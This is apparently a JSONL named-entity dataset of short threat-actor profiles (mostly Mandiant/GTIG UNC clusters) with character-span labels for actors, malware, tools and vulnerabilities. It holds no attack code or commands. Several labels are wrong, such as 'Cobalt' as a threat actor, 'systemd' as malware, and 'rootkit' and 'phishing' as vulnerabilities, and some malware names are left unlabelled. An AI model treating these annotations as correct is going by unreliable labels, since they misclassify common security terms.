+{"text": "UNC2565 is a threat group that has used the GOOTLOADER downloader to deliver Cobalt Strike BEACON. These intrusions have stemmed from victims accessing malicious websites that use SEO techniques to improve Google search rankings. After obtaining a foothold in the environment, UNC2565 has conducted reconnaissance and credential harvesting activity using common tools such as BLOODHOUND and KERBEROAST. UNC2565's motivations are currently unknown but overlaps with activity that has led to SODINOKIBI ransomware. This suggests that the threat group may be financially motivated.", "spans": {"THREAT_ACTOR: UNC2565": [[0, 7], [277, 284], [403, 410]], "THREAT_ACTOR: Cobalt": [[77, 83]], "TOOL: Cobalt Strike": [[77, 90]], "ORGANIZATION: Google": [[206, 212]], "MALWARE: BEACON": [[91, 97]]}, "info": {"source": "apt_reports", "name": "UNC2565"}}
+{"text": "UNC2630 is a threat actor believed to be affiliated with the Chinese government. They engage in cyber espionage activities, targeting organizations aligned with Beijing's strategic objectives. UNC2630 demonstrates advanced tradecraft and employs various malware families, including SLOWPULSE and RADIALPULSE, to compromise Pulse Secure VPN appliances. They also utilize modified binaries and scripts to maintain persistence and move laterally within compromised networks.", "spans": {"THREAT_ACTOR: UNC2630": [[0, 7], [193, 200]], "SYSTEM: VPN": [[336, 339]], "SYSTEM: Pulse Secure": [[323, 335]], "MALWARE: SLOWPULSE": [[282, 291]]}, "info": {"source": "apt_reports", "name": "UNC2630"}}
+{"text": "UNC2659 has been active since at least January 2021. We have observed the threat actor move through the whole attack lifecycle in under 10 days. UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall. The threat actor appeared to download several tools used for various phases of the attack lifecycle directly from those tools’ legitimate public websites.", "spans": {"THREAT_ACTOR: UNC2659": [[0, 7], [145, 152]], "SYSTEM: SonicWall": [[201, 210], [267, 276]], "SYSTEM: VPN": [[222, 225]], "SYSTEM: SSL VPN": [[218, 225]]}, "info": {"source": "apt_reports", "name": "UNC2659"}}
+{"text": "UNC2717 is a threat actor that engages in espionage activities aligned with Chinese government priorities. They demonstrate advanced tradecraft and take measures to avoid detection, making it challenging for network defenders to identify their tools and intrusion methods. UNC2717, along with other Chinese APT actors, has been observed stealing credentials, email communications, and intellectual property. They have targeted global government agencies using malware such as HARDPULSE, QUIETPULSE, and PULSEJUMP.", "spans": {"THREAT_ACTOR: UNC2717": [[0, 7], [273, 280]]}, "info": {"source": "apt_reports", "name": "UNC2717"}}
+{"text": "UNC2814 is a suspected PRC-nexus cyber espionage group that has targeted telecommunications providers and government entities globally since at least 2017. The group employs the GRIDTIDE backdoor to blend malicious traffic with legitimate cloud API activity and utilizes living-off-the-land techniques, including SSH lateral movement and the creation of malicious systemd services. GTIG has confirmed 53 intrusions across 42 countries and identified suspected activity in at least 20 additional nations, with a focus on exfiltrating sensitive communications data. Google has taken significant disruption actions against UNC2814, including infrastructure takedowns and the release of IOCs to aid in detection.", "spans": {"THREAT_ACTOR: UNC2814": [[0, 7], [620, 627]], "TOOL: SSH": [[313, 316]], "ORGANIZATION: Google": [[564, 570]], "VULNERABILITY: living-off-the-land": [[271, 290]], "MALWARE: systemd": [[364, 371]]}, "info": {"source": "apt_reports", "name": "UNC2814"}}
+{"text": "UNC2970 is a North Korean threat actor that primarily targets organizations through spear-phishing emails with job recruitment themes, often utilizing fake LinkedIn accounts to engage victims. The group employs the PLANKWALK backdoor and other malware families, leveraging compromised WordPress sites for command and control. They have been observed using BYOVD techniques to exploit vulnerable drivers for evading detection. Mandiant has noted a shift in UNC2970's targeting strategy, including a focus on security researchers and advancements in their operational capabilities against EDR tools.", "spans": {"THREAT_ACTOR: UNC2970": [[0, 7], [456, 463]], "SYSTEM: WordPress": [[285, 294]], "ORGANIZATION: Mandiant": [[426, 434]], "VULNERABILITY: spear-phishing": [[84, 98]], "VULNERABILITY: phishing": [[90, 98]]}, "info": {"source": "apt_reports", "name": "UNC2970"}}
+{"text": "Mandiant observed this group operating since December 2019. Its techniques partially overlap with multiple Russian-based espionage actors (APT28 and APT29). They are described as having a high level of operational security, low malware footprint, adept evasive skills, and a large Internet of Things (IoT) device botnet at their disposal.", "spans": {"THREAT_ACTOR: APT28": [[139, 144]], "THREAT_ACTOR: APT29": [[149, 154]], "ORGANIZATION: Mandiant": [[0, 8]]}, "info": {"source": "apt_reports", "name": "UNC3524"}}
+{"text": "China-nexus espionage actor that has been observed exploiting vulnerabilities in Aspera Faspex, Microsoft Exchange, and Oracle Web Applications Desktop Integrator, among others, to gain initial access to target environments.", "spans": {"SYSTEM: Microsoft Exchange": [[96, 114]], "ORGANIZATION: Microsoft": [[96, 105]]}, "info": {"source": "apt_reports", "name": "UNC3569"}}
+{"text": "UNC3886 is an advanced cyber espionage group with unique capabilities in how they operate on-network as well as the tools they utilize in their campaigns. UNC3886 has been observed targeting firewall and virtualization technologies which lack EDR support. Their ability to manipulate firewall firmware and exploit a zero-day indicates they have curated a deeper-level of understanding of such technologies. UNC3886 has modified publicly available malware, specifically targeting *nix operating systems.", "spans": {"THREAT_ACTOR: UNC3886": [[0, 7], [155, 162], [407, 414]], "VULNERABILITY: zero-day": [[316, 324]]}, "info": {"source": "apt_reports", "name": "UNC3886"}}
+{"text": "A suspected Iranian threat activity cluster has been linked to attacks aimed at Israeli shipping, government, energy, and healthcare organizations, in a campaign stretching back to late 2020. Researchers believe that the data harvested during the campaign could be used to support various activities. UNC3890, the threat actor behind the attacks, deployed two proprietary pieces of malware – a backdoor named “SUGARUSH” and a browser credential stealer called “SUGARDUMP”, which exfiltrates password information to email addresses registered with Gmail, ProtonMail, Yahoo and Yandex email services. The threat actor also employs a network of C&C servers that host fake login pages impersonating legitimate platforms such as Office 365, LinkedIn and Facebook. These servers are designed to communicate with the targets and also with a watering hole hosted on the login page of a legitimate Israeli shipping company.", "spans": {"THREAT_ACTOR: UNC3890": [[301, 308]], "SYSTEM: Office 365": [[724, 734]], "SYSTEM: Gmail": [[547, 552]], "ORGANIZATION: Facebook": [[749, 757]], "VULNERABILITY: watering hole": [[834, 847]], "MALWARE: SUGARDUMP": [[461, 470]], "MALWARE: SUGARUSH": [[410, 418]]}, "info": {"source": "apt_reports", "name": "UNC3890"}}
+{"text": "UNC3973 is a financially motivated threat actor tracked by Mandiant, distinguished from the broader BASTA ransomware ecosystem (primarily tracked as UNC4393) due to its unique operational characteristics and TTPs. This actor has demonstrated a specific focus on supply chain compromises, as evidenced by their June campaign targeting credit unions in western Canada via a compromised managed service provider (MSP). UNC3973 leverages unauthorized service accounts with elevated privileges, specifically domain administrator accounts shared between the compromised MSP and the target organizations, to gain initial access.This actor's post-exploitation activity includes attempts to disable security controls and deploy the SYSTEMBC tunneler for command and control (C2) communication, followed by attempts to deploy BASTA ransomware. While their attempts to deploy both SYSTEMBC and BASTA have been observed, these were thankfully thwarted by endpoint security solutions in observed instances. The targeted, supply chain-enabled nature of UNC3973's intrusions, coupled with its use of privileged shared accounts and attempts at deploying BASTA, all suggest that it is an exclusive group, perhaps even affiliates working closely with or possibly operating under the direct control, BASTA ransomware operators. This group's ability to exploit centralized access points, like MSPs, represents a significant threat to organizations reliant on third-party providers.", "spans": {"THREAT_ACTOR: UNC3973": [[0, 7], [416, 423], [1039, 1046]], "THREAT_ACTOR: UNC4393": [[149, 156]], "ORGANIZATION: Mandiant": [[59, 67]]}, "info": {"source": "apt_reports", "name": "UNC3973"}}
+{"text": "UNC4191 is a China-linked threat actor that has been involved in cyber espionage campaigns targeting public and private sectors primarily in Southeast Asia. They have been known to use USB devices as an initial infection vector and have been observed deploying various malware families on infected systems. UNC4191's operations have also extended to the US, Europe, and the Asia Pacific Japan region, with a particular focus on the Philippines.", "spans": {"THREAT_ACTOR: UNC4191": [[0, 7], [307, 314]]}, "info": {"source": "apt_reports", "name": "UNC4191"}}
+{"text": "UNC4393 is a financially motivated threat actor primarily using BASTA ransomware. They have been active since early 2022 and have targeted over 40 organizations across various industries. UNC4393 has shown a willingness to cooperate with other threat clusters for initial access and has evolved from using existing tools to developing custom malware. They focus on efficient data exfiltration and multi-faceted extortion, often utilizing tools like COGSCAN and RCLONE for reconnaissance and data theft.", "spans": {"THREAT_ACTOR: UNC4393": [[0, 7], [188, 195]]}, "info": {"source": "apt_reports", "name": "UNC4393"}}
+{"text": "UNC4487 is a threat actor that targeted Ukrainian government officials by compromising a Ukrainian auto insurance website essential for official travel. This attack facilitated the distribution of the MATANBUCHUS malware, which was used to monetize access to infected systems. Mandiant later identified additional malware samples, referred to as ChillyHell, linked to UNC4487 through the reuse of a code signing certificate associated with MATANBUCHUS. The group's activities highlight a focus on exploiting critical infrastructure for financial gain.", "spans": {"THREAT_ACTOR: UNC4487": [[0, 7], [368, 375]], "ORGANIZATION: Mandiant": [[277, 285]]}, "info": {"source": "apt_reports", "name": "UNC4487"}}
+{"text": "UNC4536 is a threat actor that distributes malware, including ICEDID, REDLINESTEALER, and CARBANAK, primarily through malvertising and trojanized MSIX installers masquerading as popular software. They utilize SEO poisoning tactics to direct victims to malicious sites that mimic legitimate software hosting platforms, facilitating the download of compromised installers. The actor employs a PowerShell script known as NUMOZYLOD to deliver tailored payloads, such as the CARBANAK backdoor, to their partners. Additionally, UNC4536 has been linked to campaigns that distribute NetSupport RAT, targeting IT administrators through fake sites promoted via Google Ads.", "spans": {"THREAT_ACTOR: UNC4536": [[0, 7], [522, 529]], "TOOL: NetSupport": [[575, 585]], "TOOL: PowerShell": [[391, 401]], "ORGANIZATION: Google": [[651, 657]], "MALWARE: NUMOZYLOD": [[418, 427]]}, "info": {"source": "apt_reports", "name": "UNC4536"}}
+{"text": "UNC4540 is a suspected Chinese threat actor targeting unpatched SonicWall Secure Mobile Access appliances to deploy custom malware that establishes long-term persistence for cyber espionage. The malware is designed to steal hashed credentials, provide shell access, and persist through firmware upgrades, utilizing a variant of the TinyShell backdoor. Mandiant has tracked UNC4540's activities back to 2021, noting their focus on maintaining access to compromised devices. The group's tactics are consistent with patterns observed in other Chinese threat actor campaigns targeting network devices for zero-day exploits.", "spans": {"THREAT_ACTOR: UNC4540": [[0, 7], [373, 380]], "SYSTEM: SonicWall": [[64, 73]], "ORGANIZATION: Mandiant": [[352, 360]], "VULNERABILITY: zero-day": [[601, 609]]}, "info": {"source": "apt_reports", "name": "UNC4540"}}
+{"text": "UNC4736 is a North Korean threat actor that has been involved in supply chain attacks targeting software chains of 3CX and X_TRADER. They have used malware strains such as TAXHAUL, Coldcat, and VEILEDSIGNAL to compromise Windows and macOS systems. UNC4736 has been linked to financially motivated cybercrime operations, particularly focused on cryptocurrency and fintech-related services. They have also demonstrated infrastructure overlap with other North Korean and APT43 activity.", "spans": {"THREAT_ACTOR: UNC4736": [[0, 7], [248, 255]], "THREAT_ACTOR: APT43": [[468, 473]], "SYSTEM: macOS": [[233, 238]], "SYSTEM: Windows": [[221, 228]]}, "info": {"source": "apt_reports", "name": "UNC4736"}}
+{"text": "UNC4841 is a well-resourced threat actor that has utilized a wide range of malware and purpose-built tooling to enable their global espionage operations. They have been observed selectively deploying specific malware families at high priority targets, with SKIPJACK being the most widely deployed. UNC4841 primarily targeted government and technology organizations, but they have also been observed targeting other verticals.", "spans": {"THREAT_ACTOR: UNC4841": [[0, 7], [298, 305]]}, "info": {"source": "apt_reports", "name": "UNC4841"}}
+{"text": "UNC4990 is a financially motivated threat actor that has been active since at least 2020. They primarily target users in Italy and rely on USB devices for initial infection. The group has evolved their tactics over time, using encoded text files on popular websites like GitHub and Vimeo to host payloads. They have been observed using sophisticated backdoors like QUIETBOARD and EMPTYSPACE, and have targeted organizations in various industries, particularly in Italy.", "spans": {"THREAT_ACTOR: UNC4990": [[0, 7]], "SYSTEM: GitHub": [[271, 277]], "MALWARE: EMPTYSPACE": [[380, 390]]}, "info": {"source": "apt_reports", "name": "UNC4990"}}
+{"text": "UNC5174, a Chinese state-sponsored threat actor, has been identified by Mandiant for exploiting critical vulnerabilities in F5 BIG-IP and ScreenConnect. They have been linked to targeting research and education institutions, businesses, charities, NGOs, and government organizations in Southeast Asia, the U.S., and the UK. UNC5174 is believed to have connections to China's Ministry of State Security and has been observed using custom tooling and the SUPERSHELL framework in their operations. The actor has shown indications of transitioning from hacktivist collectives to working as a contractor for Chinese intelligence agencies.", "spans": {"THREAT_ACTOR: UNC5174": [[0, 7], [324, 331]], "TOOL: ScreenConnect": [[138, 151]], "ORGANIZATION: Mandiant": [[72, 80]]}, "info": {"source": "apt_reports", "name": "UNC5174"}}
+{"text": "Mandiant created UNC5266 to track post-disclosure exploitation leading to deployment of Bishop Fox's SLIVER implant framework, a WARPWIRE variant, and a new malware family that Mandiant has named TERRIBLETEA. At this time, based on observed infrastructure usage similarities, Mandiant suspects with moderate confidence that UNC5266 overlaps in part with UNC3569, a China-nexus espionage actor that has been observed exploiting vulnerabilities in Aspera Faspex, Microsoft Exchange, and Oracle Web Applications Desktop Integrator, among others, to gain initial access to target environments.", "spans": {"THREAT_ACTOR: UNC5266": [[17, 24], [324, 331]], "THREAT_ACTOR: UNC3569": [[354, 361]], "SYSTEM: Microsoft Exchange": [[461, 479]], "ORGANIZATION: Mandiant": [[0, 8], [177, 185], [276, 284]], "ORGANIZATION: Microsoft": [[461, 470]], "MALWARE: WARPWIRE": [[129, 137]]}, "info": {"source": "apt_reports", "name": "UNC5266"}}
+{"text": "UNC5291 is a cluster of targeted probing activity that we assess with moderate confidence is associated with UNC3236, also known publicly as Volt Typhoon. Activity for this cluster started in December 2023 focusing on Citrix Netscaler ADC and then shifted to focus on Ivanti Connect Secure devices after details were made public in mid-Jan. 2024. Probing has been observed against the academic, energy, defense, and health sectors, which aligns with past Volt Typhoon interest in critical infrastructure. In Feb. 2024, the Cybersecurity and Infrastructure Security Agency (CISA) released an advisory warning that Volt Typhoon was targeting critical infrastructure and was potentially interested in Ivanti Connect Secure devices for initial access.", "spans": {"THREAT_ACTOR: UNC5291": [[0, 7]], "THREAT_ACTOR: Volt Typhoon": [[141, 153], [455, 467], [613, 625]], "SYSTEM: Citrix": [[218, 224]], "SYSTEM: Ivanti": [[268, 274], [698, 704]], "ORGANIZATION: CISA": [[573, 577]], "ORGANIZATION: Cybersecurity and Infrastructure Security Agency": [[523, 571]]}, "info": {"source": "apt_reports", "name": "UNC5291"}}
+{"text": "UNC5325 is a suspected Chinese cyber espionage operator that exploited CVE-2024-21893 to compromise Ivanti Connect Secure appliances. UNC5325 leveraged code from open-source projects, installed custom malware, and modified the appliance's settings in order to evade detection and attempt to maintain persistence. UNC5325 has been observed deploying LITTLELAMB.WOOLTEA, PITSTOP, PITDOG, PITJET, and PITHOOK. Mandiant identified TTPs and malware code overlaps in LITTLELAMB.WOOLTEA and PITHOOK with malware leveraged by UNC3886. Mandiant assesses with moderate confidence that UNC5325 is associated with UNC3886.", "spans": {"CVE_ID: CVE-2024-21893": [[71, 85]], "THREAT_ACTOR: UNC5325": [[0, 7], [134, 141], [313, 320], [575, 582]], "THREAT_ACTOR: UNC3886": [[518, 525], [602, 609]], "SYSTEM: Ivanti": [[100, 106]], "ORGANIZATION: Mandiant": [[407, 415], [527, 535]], "MALWARE: PITSTOP": [[369, 376]], "MALWARE: LITTLELAMB.WOOLTEA": [[349, 367], [461, 479]], "MALWARE: PITHOOK": [[398, 405], [484, 491]]}, "info": {"source": "apt_reports", "name": "UNC5325"}}
+{"text": "UNC5330 is a suspected China-nexus espionage actor. UNC5330 has been observed chaining CVE-2024-21893 and CVE-2024-21887 to compromise Ivanti Connect Secure VPN appliances as early as Feb. 2024. Post-compromise activity by UNC5330 includes deployment of PHANTOMNET and TONERJAM. UNC5330 has employed Windows Management Instrumentation (WMI) to perform reconnaissance, move laterally, manipulate registry entries, and establish persistence.\nMandiant observed UNC5330 operating a server since Dec. 6, 2021, which the group used as a GOST proxy to help facilitate malicious tool deployment to endpoints. The default certificate for GOST proxy was observed from Sept. 1, 2022 through Jan. 1, 2024. UNC5330 also attempted to download Fast Reverse Proxy (FRP) from this server on Feb. 3, 2024, from a compromised Ivanti Connect Secure device. Given the SSH key reuse in conjunction with the temporal proximity of these events, Mandiant assesses with moderate confidence UNC5330 has been operating through this server since at least 2021.", "spans": {"CVE_ID: CVE-2024-21893": [[87, 101]], "CVE_ID: CVE-2024-21887": [[106, 120]], "THREAT_ACTOR: UNC5330": [[0, 7], [52, 59], [223, 230], [279, 286], [458, 465], [694, 701], [964, 971]], "TOOL: SSH": [[847, 850]], "SYSTEM: VPN": [[157, 160]], "SYSTEM: WMI": [[336, 339]], "SYSTEM: Ivanti": [[135, 141], [807, 813]], "SYSTEM: Windows": [[300, 307]], "ORGANIZATION: Mandiant": [[440, 448], [921, 929]], "MALWARE: TONERJAM": [[269, 277]]}, "info": {"source": "apt_reports", "name": "UNC5330"}}
+{"text": "UNC5337 is a suspected China-nexus espionage actor that compromised Ivanti Connect Secure VPN appliances as early as Jan. 2024. UNC5337 is suspected to exploit CVE-2023-46805 (authentication bypass) and CVE-2024-21887 (command injection) for infecting Ivanti Connect Secure appliances. UNC5337 leveraged multiple custom malware families including the SPAWNSNAIL passive backdoor, SPAWNMOLE tunneler, SPAWNANT installer, and SPAWNSLOTH log tampering utility. Mandiant suspects with medium confidence that UNC5337 is UNC5221.", "spans": {"CVE_ID: CVE-2023-46805": [[160, 174]], "CVE_ID: CVE-2024-21887": [[203, 217]], "THREAT_ACTOR: UNC5337": [[0, 7], [128, 135], [286, 293], [504, 511]], "SYSTEM: VPN": [[90, 93]], "SYSTEM: Ivanti": [[68, 74], [252, 258]], "ORGANIZATION: Mandiant": [[458, 466]], "VULNERABILITY: authentication bypass": [[176, 197]], "VULNERABILITY: command injection": [[219, 236]]}, "info": {"source": "apt_reports", "name": "UNC5337"}}
+{"text": "UNC5342 is a North Korea-linked APT that employs the EtherHiding technique to deliver malware and facilitate cryptocurrency theft. The actor has been observed deploying EtherRAT and JADESNOW malware, utilizing transaction history as a Dead Drop Resolver to embed payloads directly into the calldata of blockchain transactions. Their operations involve leveraging centralized API services to interact with public blockchains like Ethereum and BNB Smart Chain. The malware is designed to exfiltrate sensitive data, particularly targeting cryptocurrency wallets and credentials.", "spans": {"THREAT_ACTOR: UNC5342": [[0, 7]], "MALWARE: JADESNOW": [[182, 190]], "MALWARE: EtherRAT": [[169, 177]]}, "info": {"source": "apt_reports", "name": "UNC5342"}}
+{"text": "UNC5537 is a financially motivated threat actor targeting Snowflake customer databases. They use stolen credentials obtained from infostealer malware to access and exfiltrate large volumes of data. The compromised accounts lack multi-factor authentication, allowing UNC5537 to conduct data theft and extortion.", "spans": {"THREAT_ACTOR: UNC5537": [[0, 7], [266, 273]]}, "info": {"source": "apt_reports", "name": "UNC5537"}}
+{"text": "UNC5820 is a threat actor exploiting the CVE-2024-47575 vulnerability in Fortinet's FortiManager, allowing them to bypass authentication and execute arbitrary commands. They have been observed exfiltrating configuration data, user information, and FortiOS256-hashed passwords from managed FortiGate devices. While the actor has staged and exfiltrated sensitive data, there is currently no evidence of lateral movement or further compromise of additional environments. Mandiant has not determined whether UNC5820 is state-sponsored or identified its geographic location.", "spans": {"CVE_ID: CVE-2024-47575": [[41, 55]], "THREAT_ACTOR: UNC5820": [[0, 7], [504, 511]], "SYSTEM: FortiGate": [[289, 298]], "SYSTEM: Fortinet": [[73, 81]], "ORGANIZATION: Mandiant": [[468, 476]]}, "info": {"source": "apt_reports", "name": "UNC5820"}}
+{"text": "UNC6032 is a threat actor that weaponizes interest in AI tools, specifically targeting users with fake \"AI video generator\" websites to distribute malware, including Python-based infostealers and backdoors. Victims are typically directed to these sites through malicious social media ads that impersonate legitimate tools. Compromises have led to the exfiltration of sensitive data, including login credentials and credit card information, via the Telegram API. Google Threat Intelligence Group assesses UNC6032 to have a Vietnam nexus.", "spans": {"THREAT_ACTOR: UNC6032": [[0, 7], [504, 511]], "SYSTEM: Python": [[166, 172]], "SYSTEM: Telegram": [[448, 456]], "ORGANIZATION: Google": [[462, 468]]}, "info": {"source": "apt_reports", "name": "UNC6032"}}
+{"text": "UNC6040 is a financially motivated threat cluster that employs vishing to gain access to organizations' Salesforce environments, facilitating large-scale data exfiltration. The group manipulates end users into authorizing malicious connected apps, often masquerading as IT support personnel, to exploit OAuth permissions. Following initial access, UNC6040 leverages harvested credentials to move laterally within victim networks, targeting other cloud platforms like Okta and Microsoft 365. Their operations are characterized by the use of Mullvad VPN IP addresses and a focus on social engineering tactics to bypass security measures.", "spans": {"THREAT_ACTOR: UNC6040": [[0, 7], [348, 355]], "SYSTEM: VPN": [[548, 551]], "SYSTEM: Salesforce": [[104, 114]], "SYSTEM: Microsoft 365": [[476, 489]], "ORGANIZATION: Microsoft": [[476, 485]], "ORGANIZATION: Okta": [[467, 471]]}, "info": {"source": "apt_reports", "name": "UNC6040"}}
+{"text": "UNC6148 is a financially motivated threat actor that targets SonicWall Secure Mobile Access 100 series appliances, leveraging stolen credentials and possibly zero-day exploits to deploy a persistent backdoor known as OVERSTEP. They utilize a kernel-level rootkit for stealthy access and have been observed establishing SSL VPN sessions to launch reverse shells and manipulate system files. The actor's operations include credential theft, data exfiltration, and potential ransomware deployment, with evidence suggesting they modify legitimate scripts to maintain persistence. Their activities are characterized by the reuse of OTP seeds and admin credentials, allowing continued access even after security patches are applied.", "spans": {"THREAT_ACTOR: UNC6148": [[0, 7]], "SYSTEM: SonicWall": [[61, 70]], "SYSTEM: VPN": [[323, 326]], "SYSTEM: SSL VPN": [[319, 326]], "VULNERABILITY: rootkit": [[255, 262]], "VULNERABILITY: credential theft": [[421, 437]], "VULNERABILITY: zero-day": [[158, 166]]}, "info": {"source": "apt_reports", "name": "UNC6148"}}
+{"text": "UNC6201 is a sophisticated Chinese state-sponsored hacking group that exploited CVE-2026–22769, a critical vulnerability in Dell RecoverPoint for Virtual Machines appliances, to establish a persistent presence. They deployed a permanent backdoor using techniques like Single Packet Authorization and \"Port Knocking.\" Unlike typical hackers who conceal their activities within the Operating System, UNC6201 operated at the Virtualization Layer to avoid detection.", "spans": {"THREAT_ACTOR: UNC6201": [[0, 7], [398, 405]]}, "info": {"source": "apt_reports", "name": "UNC6201"}}
+{"text": "UNC6293 is a Russian state-sponsored threat actor identified by Google's Threat Intelligence Group (GTIG), which associates them with APT29 with low confidence. They have conducted campaigns utilizing social engineering tactics, including leveraging App-Specific Passwords for account compromises. GTIG has also noted a second campaign by UNC6293 that incorporates Ukrainian themes.", "spans": {"THREAT_ACTOR: UNC6293": [[0, 7], [339, 346]], "THREAT_ACTOR: APT29": [[134, 139]], "ORGANIZATION: Google": [[64, 70]]}, "info": {"source": "apt_reports", "name": "UNC6293"}}
+{"text": "suspected Russian espionage group.", "spans": {}, "info": {"source": "apt_reports", "name": "UNC6353"}}
+{"text": "UNC6384 (also tracked as Vertigo Panda) is a Chinese-affiliated APT that conducts targeted espionage campaigns primarily against diplomatic entities in Southeast Asia and Europe, specifically Belgium and Hungary. The group exploits the ZDI-CAN-25373 Windows shortcut vulnerability to gain initial code execution via malicious .LNK files, deploying the PlugX RAT through sophisticated delivery mechanisms, including DLL side-loading and adversary-in-the-middle attacks. Their operations involve social engineering tactics, such as spear-phishing emails themed around diplomatic events, to entice victims into executing malicious payloads. UNC6384's use of valid code signing and HTTPS hosting enhances their evasion of detection and increases the likelihood of user interaction.", "spans": {"THREAT_ACTOR: UNC6384": [[0, 7], [638, 645]], "SYSTEM: Windows": [[250, 257]], "VULNERABILITY: spear-phishing": [[530, 544]], "VULNERABILITY: DLL side-loading": [[415, 431]], "VULNERABILITY: phishing": [[536, 544]], "VULNERABILITY: code execution": [[297, 311]], "MALWARE: PlugX": [[352, 357]]}, "info": {"source": "apt_reports", "name": "UNC6384"}}
+{"text": "The actor systematically exported large volumes of data from numerous corporate Salesforce instances. GTIG assesses the primary intent of the threat actor is to harvest credentials. After the data was exfiltrated, the actor searched through the data to look for secrets that could be potentially used to compromise victim environments. GTIG observed UNC6395 targeting sensitive credentials such as Amazon Web Services (AWS) access keys (AKIA), passwords, and Snowflake-related access tokens. UNC6395 demonstrated operational security awareness by deleting query jobs, however logs were not impacted and organizations should still review relevant logs for evidence of data exposure.", "spans": {"THREAT_ACTOR: UNC6395": [[350, 357], [492, 499]], "SYSTEM: Amazon Web Services": [[398, 417]], "SYSTEM: Salesforce": [[80, 90]], "SYSTEM: AWS": [[419, 422]], "ORGANIZATION: Amazon": [[398, 404]]}, "info": {"source": "apt_reports", "name": "UNC6395"}}
+{"text": "UNC6426 exploited a supply chain compromise of the nx npm package to steal a developer's GitHub Personal Access Token and gain access to a victim's cloud environment. They abused the GitHub-to-AWS OpenID Connect trust to create a new administrator role, leveraging overly permissive permissions associated with the compromised GitHub-Actions-CloudFormation role. Using the legitimate open-source tool Nord Stream, UNC6426 conducted reconnaissance and extracted secrets from CI/CD environments, leading to the exfiltration of files from AWS S3 buckets and data destruction. The actor escalated to full AWS administrator permissions in under 72 hours.", "spans": {"THREAT_ACTOR: UNC6426": [[0, 7], [414, 421]], "SYSTEM: GitHub": [[89, 95], [183, 189], [327, 333]], "SYSTEM: AWS": [[193, 196], [536, 539], [601, 604]], "VULNERABILITY: supply chain compromise": [[20, 43]]}, "info": {"source": "apt_reports", "name": "UNC6426"}}
+{"text": "UNC6485 is a cyber-espionage group exploiting CVE-2025-12480 in Gladinet’s Triofox file-sharing platform to gain initial network access and establish long-term persistence. They create unauthorized administrative accounts and deploy RATs, utilizing legitimate tools like Zoho Assist and AnyDesk to evade detection. Their TTPs indicate a sophisticated understanding of the platform, allowing them to blend malicious activities with legitimate administrative actions.", "spans": {"CVE_ID: CVE-2025-12480": [[46, 60]], "THREAT_ACTOR: UNC6485": [[0, 7]], "TOOL: AnyDesk": [[287, 294]], "SYSTEM: Zoho": [[271, 275]]}, "info": {"source": "apt_reports", "name": "UNC6485"}}
+{"text": "TGR-STA-1030 is a state-aligned cyberespionage group operating out of Asia, known for compromising government and critical infrastructure organizations across 37 countries. The group frequently deploys web shells, such as Behinder, Neo-reGeorg, and Godzilla, on both external and internal web servers to maintain access and enable lateral movement. TGR-STA-1030 has conducted extensive reconnaissance against government infrastructure, particularly focusing on nations in the South China Sea and Gulf of Thailand regions, as well as European countries like Germany. The group primarily targets government ministries and departments for espionage purposes, especially those exploring specific economic partnerships.", "spans": {"MALWARE: Behinder": [[222, 230]], "MALWARE: reGeorg": [[236, 243]], "MALWARE: Neo-reGeorg": [[232, 243]]}, "info": {"source": "apt_reports", "name": "UNC6619"}}
+{"text": "UNC6671 is involved in credential harvesting operations, utilizing vishing tactics to impersonate IT staff and directing victims to enter credentials on a victim-branded site. They have gained access to Okta customer accounts and employed PowerShell to download sensitive data from SharePoint and OneDrive. Their extortion tactics include aggressive harassment of victim personnel, and they have used unbranded extortion emails with different Tox IDs for communication. The threat actors have shown a preference for registering domains with Tucows, indicating potential operational differences from related threat groups.", "spans": {"THREAT_ACTOR: UNC6671": [[0, 7]], "TOOL: PowerShell": [[239, 249]], "SYSTEM: SharePoint": [[282, 292]], "ORGANIZATION: Okta": [[203, 207]]}, "info": {"source": "apt_reports", "name": "UNC6671"}}
+{"text": "financially motivated threat actor operating from China", "spans": {}, "info": {"source": "apt_reports", "name": "UNC6691"}}
+{"text": "Unfading Sea Haze is a threat actor focused on espionage, targeting government and military organizations in the South China Sea region since 2018. They employ spear-phishing emails with malicious attachments to gain initial access, followed by the deployment of custom malware such as Gh0st RAT variants and SharpJSHandler. The group utilizes scheduled tasks and manipulates local administrator accounts for persistence, while also incorporating Remote Monitoring and Management tools into their attacks. Unfading Sea Haze demonstrates a sophisticated and patient approach, remaining undetected for years and showing adaptability through evolving exfiltration tactics and malware arsenal.", "spans": {"THREAT_ACTOR: Unfading Sea Haze": [[0, 17], [506, 523]], "VULNERABILITY: spear-phishing": [[160, 174]], "VULNERABILITY: phishing": [[166, 174]], "MALWARE: Gh0st RAT": [[286, 295]]}, "info": {"source": "apt_reports", "name": "Unfading Sea Haze"}}
+{"text": "UNG0002 is a technically adept APT conducting large-scale cyber espionage campaigns targeting strategic sectors in China, Hong Kong, and Pakistan, including defense, energy infrastructure, and healthcare. The group employs LNK shortcuts, VBScript files, and tools like Cobalt Strike and Metasploit, utilizing phishing emails with deceptive documents to lure victims. Their malware, such as Shadow RAT, leverages DLL Sideloading and supports remote command execution, making detection challenging. Analysts suggest that UNG0002 may originate from South or Southeast Asia, highlighting their resilience and adaptability in cyber operations.", "spans": {"THREAT_ACTOR: UNG0002": [[0, 7], [519, 526]], "THREAT_ACTOR: Cobalt": [[269, 275]], "TOOL: Cobalt Strike": [[269, 282]], "TOOL: Metasploit": [[287, 297]], "VULNERABILITY: phishing": [[309, 317]]}, "info": {"source": "apt_reports", "name": "UNG0002"}}
+{"text": "UNG0901 is a cyber-espionage threat actor targeting Russian entities, particularly in the aerospace and defense sectors, utilizing spear-phishing tactics. They deploy the EAGLET backdoor, which exhibits functionalities similar to the Golang-based PhantomDL used by the Head Mare group, including shell, download, and upload capabilities. Notable overlaps in file-naming conventions and targeting strategies further reinforce the connection between UNG0901 and Head Mare.", "spans": {"THREAT_ACTOR: UNG0901": [[0, 7], [448, 455]], "THREAT_ACTOR: Head Mare": [[269, 278], [460, 469]], "VULNERABILITY: spear-phishing": [[131, 145]], "VULNERABILITY: phishing": [[137, 145]]}, "info": {"source": "apt_reports", "name": "UNG0901"}}
+{"text": "Adversary targeting manufacturing and industrial organizations.", "spans": {}, "info": {"source": "apt_reports", "name": "UNION SPIDER"}}
